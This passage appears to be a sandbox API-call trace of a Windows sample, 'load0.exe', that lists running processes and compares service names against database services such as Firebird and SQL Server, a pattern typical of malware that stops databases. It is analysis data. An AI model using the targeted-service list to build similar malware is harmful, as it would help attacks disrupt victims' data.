(lpString1="sqlwriter", lpString2="SysMain") returned -1 [0271.460] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0271.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0271.460] lstrlenW (lpString="SystemEventsBroker") returned 18 [0271.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0271.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0271.460] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0271.460] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0271.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0271.460] lstrlenW (lpString="Themes") returned 6 [0271.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0271.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0271.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0271.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0271.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0271.460] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0271.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0271.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0271.460] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0271.555] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0271.555] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e07d8 | out: hHeap=0x630000) returned 1 [0271.556] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xff8 [0271.561] Process32FirstW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.562] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.563] lstrlenW (lpString="System") returned 6 [0271.563] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.564] lstrlenW (lpString="smss.exe") returned 8 [0271.564] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.565] lstrlenW (lpString="csrss.exe") returned 9 [0271.565] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.566] lstrlenW (lpString="wininit.exe") returned 11 [0271.566] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.567] lstrlenW (lpString="csrss.exe") returned 9 [0271.567] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.568] lstrlenW (lpString="winlogon.exe") returned 12 [0271.568] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.569] lstrlenW (lpString="services.exe") returned 12 [0271.569] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.570] lstrlenW (lpString="lsass.exe") returned 9 [0271.570] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0271.571] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0271.571] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0271.572] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0271.572] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.573] lstrlenW (lpString="svchost.exe") returned 11 [0271.573] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.574] lstrlenW (lpString="svchost.exe") returned 11 [0271.574] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.575] lstrlenW (lpString="dwm.exe") returned 7 [0271.575] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.576] lstrlenW (lpString="svchost.exe") returned 11 [0271.576] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.577] lstrlenW (lpString="svchost.exe") returned 11 [0271.577] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.578] lstrlenW (lpString="svchost.exe") returned 11 [0271.578] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.579] lstrlenW (lpString="svchost.exe") returned 11 [0271.579] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.580] lstrlenW (lpString="svchost.exe") returned 11 [0271.580] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.581] lstrlenW (lpString="svchost.exe") returned 11 [0271.581] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.582] lstrlenW (lpString="svchost.exe") returned 11 [0271.582] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.583] lstrlenW (lpString="svchost.exe") returned 11 [0271.583] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.583] lstrlenW (lpString="svchost.exe") returned 11 [0271.584] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.584] lstrlenW (lpString="svchost.exe") returned 11 [0271.584] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.585] lstrlenW (lpString="spoolsv.exe") returned 11 [0271.585] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.586] lstrlenW (lpString="svchost.exe") returned 11 [0271.586] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.587] lstrlenW (lpString="audiodg.exe") returned 11 [0271.587] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0271.588] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0271.588] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0271.589] lstrlenW (lpString="Memory Compression") returned 18 [0271.589] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0271.590] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0271.590] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0271.591] lstrlenW (lpString="sihost.exe") returned 10 [0271.591] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.592] lstrlenW (lpString="svchost.exe") returned 11 [0271.592] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0271.592] lstrlenW (lpString="taskhostw.exe") returned 13 [0271.592] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0271.593] lstrlenW (lpString="msoia.exe") returned 9 [0271.593] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.936] lstrlenW (lpString="explorer.exe") returned 12 [0271.936] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0271.937] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0271.937] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0271.938] lstrlenW (lpString="SearchUI.exe") returned 12 [0271.938] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0271.938] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0271.938] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.939] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0271.939] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0271.940] lstrlenW (lpString="load0.exe") returned 9 [0271.940] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0271.940] lstrlenW (lpString="dllhost.exe") returned 11 [0271.941] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0271.941] lstrlenW (lpString="load0.exe") returned 9 [0271.941] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0271.942] CloseHandle (hObject=0xff8) returned 1 [0271.942] Sleep (dwMilliseconds=0x1f4) [0272.619] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64708 [0272.619] EnumServicesStatusExW (in: hSCManager=0x3f64708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0272.619] GetLastError () returned 0xea [0272.620] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x6e07d8 [0272.620] EnumServicesStatusExW (in: hSCManager=0x3f64708, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e07d8, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e07d8, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0272.621] CloseServiceHandle (hSCObject=0x3f64708) returned 1 [0272.621] lstrlenW (lpString="Appinfo") returned 7 [0272.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0272.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0272.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0272.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0272.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0272.621] lstrlenW (lpString="AppXSvc") returned 7 [0272.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0272.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0272.621] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0272.621] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0272.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0272.621] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0272.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.621] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0272.621] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0272.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0272.621] lstrlenW (lpString="Audiosrv") returned 8 [0272.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0272.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0272.621] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0272.621] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0272.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0272.621] lstrlenW (lpString="BFE") returned 3 [0272.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0272.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0272.622] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0272.622] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0272.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0272.622] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0272.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0272.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0272.622] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0272.622] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0272.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0272.622] lstrlenW (lpString="CDPSvc") returned 6 [0272.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0272.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0272.622] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0272.622] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0272.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0272.622] lstrlenW (lpString="ClickToRunSvc") returned 13 [0272.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0272.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0272.622] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0272.622] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0272.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0272.632] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0272.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0272.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0272.632] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0272.632] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0272.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0272.632] lstrlenW (lpString="CryptSvc") returned 8 [0272.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0272.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0272.632] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0272.632] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0272.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0272.632] lstrlenW (lpString="DcomLaunch") returned 10 [0272.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0272.632] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0272.632] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0272.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0272.633] lstrlenW (lpString="DeviceAssociationService") returned 24 [0272.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0272.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0272.633] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0272.633] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0272.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0272.633] lstrlenW (lpString="Dhcp") returned 4 [0272.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0272.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0272.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0272.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0272.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0272.633] lstrlenW (lpString="Dnscache") returned 8 [0272.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0272.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0272.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0272.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0272.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0272.633] lstrlenW (lpString="DPS") returned 3 [0272.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0272.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0272.633] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0272.633] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0272.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0272.633] lstrlenW (lpString="DusmSvc") returned 7 [0272.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0272.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0272.633] lstrcmpiW (lpString1="sqlwriter", 